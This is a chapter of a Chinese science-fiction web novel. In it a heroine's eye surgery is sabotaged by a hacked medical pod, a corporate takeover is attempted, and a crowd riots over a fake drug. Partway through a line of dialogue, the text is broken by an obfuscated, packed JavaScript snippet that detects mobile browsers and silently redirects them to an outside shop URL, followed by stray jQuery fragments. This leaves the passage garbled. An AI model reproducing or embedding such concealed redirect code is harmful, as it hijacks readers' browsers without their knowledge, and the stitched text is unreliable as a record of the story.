158. 第一百五十八章
作品:《狂奔落日海》 “你紧张吗?”风独的声音在一片寂静的背景中十分突出,因为姜灿现在看不见,对环境的体感也更加清晰,之前对他的声音没有那么敏感,现在则一闻即知。
他的音色稍微低沉,前半句听起来好像总不太高兴,但尾音有个不自觉的上挑,一味的沉稳里又多了一分奇妙的调侃感,让他本人都显得幽默了一点。
姜灿摸了摸脸上的绷带,喉咙卡紧,声音怪异地回答:“不紧张,我一点也不紧张。”
风独若无其事瞟过她汗珠涔涔的两鬓发际线,嗯了一声,开始闭眼吹,“我知道,你见惯了大场面,区区一个小手术,肯定是不放在心上。”
她发出一声夸张的笑,偷着抹了一下头上的汗,当然,整套动作都在风独眼里。
医疗官拉开门,从休息室出现,最后叮嘱了几句,“不用紧张,更换人工玻璃体和晶状体手术,已经是技术非常成熟的手术,我们的医疗舱已经做过上千例,加上模拟实验部分已经不下万例,除非遇上了智械危机,机器忽然起义,不然绝不会失败的。”
姜灿无奈地转向他发声的方向,“这时候不说除非比较好吧?”
“可惜我作为你的主治医生,有义务将所有的情况向你说明。”
风独站起来,“跟我说吧。”
医疗官将目光转向他,风独经过了几天的治疗,脸上烧灼的部分愈合情况良好,只是还留了几条正待愈合的缝线。
“请问你是……”
他颇有信心地看了一眼姜灿,回答:“我是她的丈夫。”
姜灿一愣,随机补充,“离婚协议签了一方的那种。”
医疗官没再问他们之间的诡异关系,把姜灿送进了手术室,盯着她穿着身上塑料袋一样的病号服,笨拙地钻进了医疗舱里。然后他在操作面板设定了一系列的参数,走到玻璃舱顶冲里面的姜灿喊:“随后我会按键喷射气体□□,对你进行麻醉,稍后舱顶的微型机械臂会携带针头向你的肌锥注射麻醉剂,局部麻药的成分为0.75%盐酸布比卡因和2%的……”
后面的话在封闭空间充满麻醉烟雾时逐渐远离,姜灿的理智也在瞬息间快速分解,距离真实世界越来越远,完全失去神志前,耳边听到了一声电子音的冷漠问话,“准备好了吗患者?准备好……为你的所作所为赎罪了吗?”
这一句她没有听清,若果她还能认真理解这是一句怎么样的威胁,可能会马上惊起,飞也似地逃离。
同一时间,麋因正在啵唧电器总部大厦,代替姜灿的总裁职位开董事会,这个任务对她来说太难了,不啻于姜灿独自面对眼科手术。
“关于普利西勃生产线……”麋因看见石英然举起手似乎有话要说,于是慢慢停下话题,专注地看着他,“要发言的话,等我说完了……”
石英然直接站了起来,麋因只好息声,无奈地举起手,“有什么非讲不可的东西,请讲吧。”
石英然也一点不客气,“昨天一群机器人跑来摧毁了我们派发普利西勃的据点,您有什么看法吗?”
“我正在讲这个,你要是不打断,我已经说完了,我认为……”
“我认为姜灿总裁目前的状况,已经不具备继续领导啵唧电器的能力了。”
麋因被他怼得一愣,迅速反应了过来,“今天是一场鸿门宴吗?”
石英然装作一脸天真的表情,“我是在实事求是,她瞎了,现在应该辞去职务专心治疗,啵唧电器执行总裁的担子对她来说太重了,她现在最需要的是休息,我在关心姜灿小姐。”
麋因郑重地挺直身体,“感谢你的关心,但是目前不需要。”
石英然忽然摆出一个恭敬的迎接姿态,手掌指向门口,“我建议,暂时恢复前任总裁姜苏城的职务,毕竟我们公司规模宏大,涉及了联邦多个部门、多种领域的业务,不可以一日没有人坐镇总裁办公室。”
话声刚落,从他手掌后的门口就出现了一个十分熟悉的人,麋因冷着脸看着姜苏城一路走到自己跟前,两人各自用复杂的表情对视了一眼,麋因比他更多了些迷惑,不过马上摒除杂念认真地问他:
“我认同石董担心的问题,不过如果下周姜灿总裁病愈回归原职,那您打算怎么办?”
姜苏城一耸肩,十分自然地回应,“就回我的工伤赔付部门呗,这有什么问题?”
麋因认真地盯着他的眼光,但一时半刻看不出他目光里是不是藏着某种阴谋。不过,稍微换个角度想想,这件事也并不需要任何纠结,是个相当简单的问题:
姜苏城怎么可能没有任何的目的诉求?
正在犹豫琢磨时,通讯器又催命一样响起,麋因抬手看了一眼,马上走到办公室一角把视讯接起来,另一头是中心医院的医疗官,他此刻全没了平时的冷静,胡言乱语颠颠倒倒地说:“不好了!今天的手术……”
麋因的心立马提到了嗓子眼,“手术怎么了?不对,是姜灿怎么了?”
对方深吸了一口气,才把结果秃噜出来,“手术有点问题……说实话,应该是问题很大。”
麋因飞一样抛下了开到一半的会议,跑到机库和靳京汇合,两人赶到了中心医院,就看到一个垂头丧气蔫头耷脑的医疗官,他一副十分难以面对麋因的模样,磕磕巴巴地解释:
“不应该的,这是一个非常成熟的手术了,按说绝对不应该是这种结果的……”
靳京直接打断了他,“到底怎么了?我们能接受,你直接把结果告诉我们啊。”
“手术失败了。”
麋因点点头,“这句看得出来,具体是怎么失败的?”
“医疗舱确实更换了她的玻璃体和晶状体,从复明手术的角度上说,其实本次手术成功了,但是……”
麋因已经快急死了,“但是什么?关键就是但是后面的内容,到底怎么了?”
“医疗舱在未知程序的驱动下,摘取了她的部分脑叶。你们知道前额叶切除吗?很奇怪!没有人这么设定过,这好像是一次机器失灵,或者说……智械危机?”
麋因缓慢地从眉心紧皱的状态舒展开,但她没有释然,而是变成了愕然,双眼瞪得很大,不可思议地盯着对面的医生。靳京同时明白了什么,扭头看着她,“也是詹星瀚干的?看来解散机权进步组织对他的打击很沉重,导致他现在已经失去了理智,开始全方位无顾忌地报复。”
麋因急着追问:“补救措施呢?在你们的医院发生了这种匪夷所思的事,这就是一次医疗事故!你们后续打算怎么挽救?”
医疗官抿起嘴唇,吞咽着根本不存在的唾沫,“我们都在怀疑同样的东西,有人隐身阴影里,暗箱操作导致了这次悲剧。老实说,你们能做的事情远比我要多,你们能查出背后是谁,捣了什么鬼。我能做的事仅仅是……”
他比划了一个小小叉,象征着却是一种深深的绝望,麋因的心脏一路向下沉,她的呼吸无形中变得沉重,整个人像是沉没进入了深海层,憋闷得无法自持,胸廓开始沉重猛烈起伏。在混乱当中胡思乱想了一会儿,又回到了医疗官面前,喉咙卡紧,声音艰涩,“给我一个数字,起码应该有个成功率吧!”
靳京把她往后扯,怕她忍不住扑向医生,展开什么领域攻击。他自己往前两步,阻隔到麋因身前,代替她询问:“我们可以投资这个医疗项目,以前没有前额切除后复原的案例吗?那我们马上就开始立项、投资……”
注意到身后的麋因忽然跑了,他也再顾不上谈话,转身紧跟着她追上去。
麋因一口气跑到了姜灿的房间,风独已经坐了不知道多久,守在床前一瞬不瞬地盯着上面的姜灿。
她面无表情,没有任何的反应,似乎也听不到声音,麋因撞开门时发出了巨响,但她依然毫无反应。直到麋因扑上来钳制住她的双肩,前后地摇晃她,她也还是随波逐流似地被动地前后晃动。
“你肯定是认识我的,你看看我!”麋因爆发了一会儿就累了,停止摇晃,自己站到她身前,脸贴脸地侧身靠近她的视线之内。
姜灿眼前覆盖着一层薄薄的胶布,隐约能看到眼皮与肌肤,除了浅浅的一层血渍,基本上恢复了正常,但她就是没有任何反应,就像与外界阻断了全部的联系。
麋因有瞬间崩溃了,一股不知从哪里冒出来的吵闹杂音占据了她全部的思维领域,让她根本无法思考,下意识地从枪套里掏出电子铳,拉栓上膛一气呵成,靳京急着从后面扣住了她。
“你要干什么?!”
麋因此刻的基调是阴沉沉的,间杂着迷惘的情绪,举着上膛的电子铳,默默吐出几个字,“我……出去溜达溜达。”
“……”几靳京当然无法相信,他反复地跟麋因确认,“那你把枪给我,我陪你出去溜达。”
麋因收起了电子铳,虽然双眼猩红,眼底就像哭了一夜,还藏在两汪血泪,但是脸色平静了一些,“我不会上门找詹星瀚火并的,我保证。”
他稍稍安下心轻叹,转向风独,“你……你先看着人,我们要出门一趟,很快回来。”
风独沉默点头,然后用嘶哑的嗓子开口,“什么时候火并,提前通知我。”
“……”靳京头痛地捂着前额,没有再发表任何意见,只是在出门时跟麋因委婉表示,“我觉得,你应该组织一下内部的企业文化教育,我们是正经商业组织,不是天天揣着两把砍刀随时准备抢地盘的黑//道!”
麋因现在没有心情和他争辩,两人急匆匆出现在中心医院的前门,就碰上了一个绝对想不到的人。
星宝比他们还急,差一点迎面撞上,认出了麋因的脸后,尖叫了一声,然后扑通一声原地跪下了,哭哭啼啼地说:
“求求你麋因,不要动我的老师,我知道他做了很糟糕的事,我……我替他赔礼道歉好不好?我什么都可以给你……”她边说着,就开始掏自己的口袋,把所有东西掏到麋因面前,双手奉上的姿势哭道,“我每月从机权进步组织领两千星币分红,每年大约领国家学院的津贴两千,还有……还有一点联邦发放的助学金,加上劳工协会……”
麋因皱着眉打断了她,“你在说什么东西?跟你有什么关系?”
“我只有老师和阿圣了,求求你,不要动老师,就留他一条命吧!”星宝此刻全然没了初见时的高岭之花气质,跪在地上不肯起来,就差对着麋因叩头,“我知道老师派人砸毁了淑女联盟售药点,他还、还黑入了医疗舱,搅乱了姜灿的手术程序。但是这是因为他气疯了,因为机权进步组织被解散,这也不完全是他自己的主意,他的背后有詹雪撺掇他,老师就是……一个傻瓜!他是个被人利用的傻子而已!你就放过他吧……”
麋因被她央求得心烦意乱,通讯器又不分场合地响了起来。鉴于现在肯定没好事,麋因听了半天催命一样的滴滴声,也没接起来,靳京只好提醒她,“显示是黑凯乐打来的,他那个脾气,没有要紧事是不会打给你的,还是接吧。”
麋因默默按了接通按键,果然,另一头黑凯乐的口吻犹犹豫豫的,“呃
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16873608|164708||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我是不想打给你的,我知道你现在很烦,可是……你看新闻了吗,淑女联盟被围了,要我带人过去平息一下吗?”
麋因在混乱当中艰涩地思考着,“什么人?生化人吗?”
“不是,是……一些机械师。”
她又反应了半天,逐渐开始被混乱吞噬,“什么意思?”
“就是……”黑凯乐似乎想要尝试着解释,但很快又放弃了解释,“说白了就是你们的那群会员,因为没拿到普利西勃,正在暴动。流浪机械师属于黑市管辖,所以我才说我带人去平。”
麋因用手掌捂着脸,混沌当中努力地思考着,“不用,我自己去。”
“你确定吗?”
“你带人去平又有什么特殊手段?还不是靠拳脚打服了再说?”
黑凯乐那头传来无奈的气喘声,“那你呢?难道你是以理服人?”
麋因确实是抱着以理服人的初衷去的,但是看见了现场,倏然失去了说话的欲望。
整个淑女联盟的粉色二层小楼被层层的人群包围,连同人造草坪都掀飞了,外层淡粉色墙壁布满了骂街式的涂鸦,更甚至有两只梅迪瑟文被抓住,折腾得面无全非,脸壳都打烂了。
几个戴风镜穿着麻布片一样的粗糙外套的机械师,把梅迪瑟文扣在中间,看见了麋因就领着头叫嚷着,一路挤了过来。
“给我们一个交代!到底有没有药?我们信了你的话昨天才一大早就来排队,比赛都没去看,结果一群破机器人来掀了摊子,就不了了之了吗?那我们怎么办?”
他们几个身后跟着无数机械师,一同随着大声叫嚷,“对对!我们怎么办?给我一个说法!”
麋因扫视了一圈,刚想开口,人群后排又有一个机械师吵嚷着打断了她,“不会是你和议会在联合抬价,找一个借口缩减普利西勃的数量,好让我们高价抢购吧?”
人群中又激起一片声量,气势倏然高涨,把靳京和麋因淹没其中,仿佛马上就要发展成一场暴力冲突。
靳京终于忍不下去,越到前排大吼一声,“你们傻吗?”
立时有人不忿地对着吼,“你怎么骂人?你才傻!”
后排传出更加粗粝野蛮的叫骂,“你这个小白脸,成天缩在黄毛丫头身后,就你还敢骂老子?我看你还挨不上我两拳!”
麋因伸出右臂举高,表示自己有话要讲,现场为之一静,等到所有人目光聚焦过来,麋因才沉闷地开口,“有一条你们猜对了,普利西勃确实是骗人的,不管是议会发行的还是啵唧电器生产的,其实都是一种东西——安慰剂,没有任何实际功效。詹雪卖这种东西的目的就是骗你们的钱而已。”
现场沸腾了半天,叫骂、吵闹、怒吼、尖叫……情绪的宣泄就像决堤的洪水,一发不可收拾。有几个人挤出了重围,冲到了麋因身边哭求:
“那我们的精神病怎么办?这些都是夏娃引起的,她把这种病带到了蓝星,你们应该为我们负责!”
他们越说越气,眼看着要雄起施暴,后排的人又汹涌着冲破了重围,把他们挤开,逼到了麋因面前。
“我看就是你们的阴谋吧!你就是在配合议会抬价,我不相信药是假的!议会就算权力滔天,这么大的谎话他们怎么敢的?”
无数张赤红的脸膛缤纷呈现,麋因麻木地站在那里,一个个看过去。尖利的叫骂让现场变成了人性展览,她好像切断了和外部的连接,面无表情,一点反应都没有。
一声枪响,撕破了沸腾的人声,现在再次归于岑寂,几个城防卫小组包围了现场,严肃地扫视了一圈,其中有人走到麋因面前,肃穆地表示:“我们是接到报告,前来调查生化人暴走事件的,请你们跟我们走一趟,讲述一下刚才的情况。”
靳京挤到前面,“我们也是刚来,也没看到生化人暴走的现场。”
城防卫左右扫视着两人,眼光还是落在麋因脸上,“那这里的负责人是谁?”
麋因的眼珠在眼眶里滞涩的转动,喉咙滑动,喑哑地开口,“是我,目前我来负责,我去。”
两人坐着巡城卫的警用小飞艇来到了执行局大厅,但审讯室里等着的却是一个非常熟悉的人。
麋因一看到他,先是一愣,很快恢复了正常,要笑不笑地坐到了受审位,“三天两头地找我,要不是知道你是个绝情绝爱的变态,我还以为你爱上我了。”
詹雪看了看她,又看了看靳京,这次倒是很正经,“找你们来的目的应该非常明显了,我就不再重复。麋因,你没有路走了,你也顶不住了,现在你只有答应我的要求,不然你们很难收场了。”
两人对视一眼,靳京先开口,“奇怪,我怎么感觉不到局面到了你说的那种地步?”
詹雪浅浅地哼笑,“姜灿出事,淑女联盟已经名存实亡。啵唧电器也已经被姜苏城接管,他和蓝鸳牢牢占据领导人的位置,凭你一个虚名空悬的夏娃后裔能做什么?你还有什么牌可用?”
他往前微微倾斜,神色由讥讽变得郑重,再次重复,“只要你们主动退出印视杯,从此后不再四处宣扬夏娃的名字,配合我们的夏娃擦除计划,我可以保留你的家族,不仅如此,还可以敞开上层权力中枢,让你继续留在人民联合会里。你们的后半辈子会过的非常圆满。”
看麋因还是沉默,詹雪慢慢有些耐不住了,再次加码,“你为了那些底层的机械师跟议会作对,可是你看看他们是怎么对你的?他们只是一群不知好歹的野蛮人,他们不值得你牺牲任何东西!”

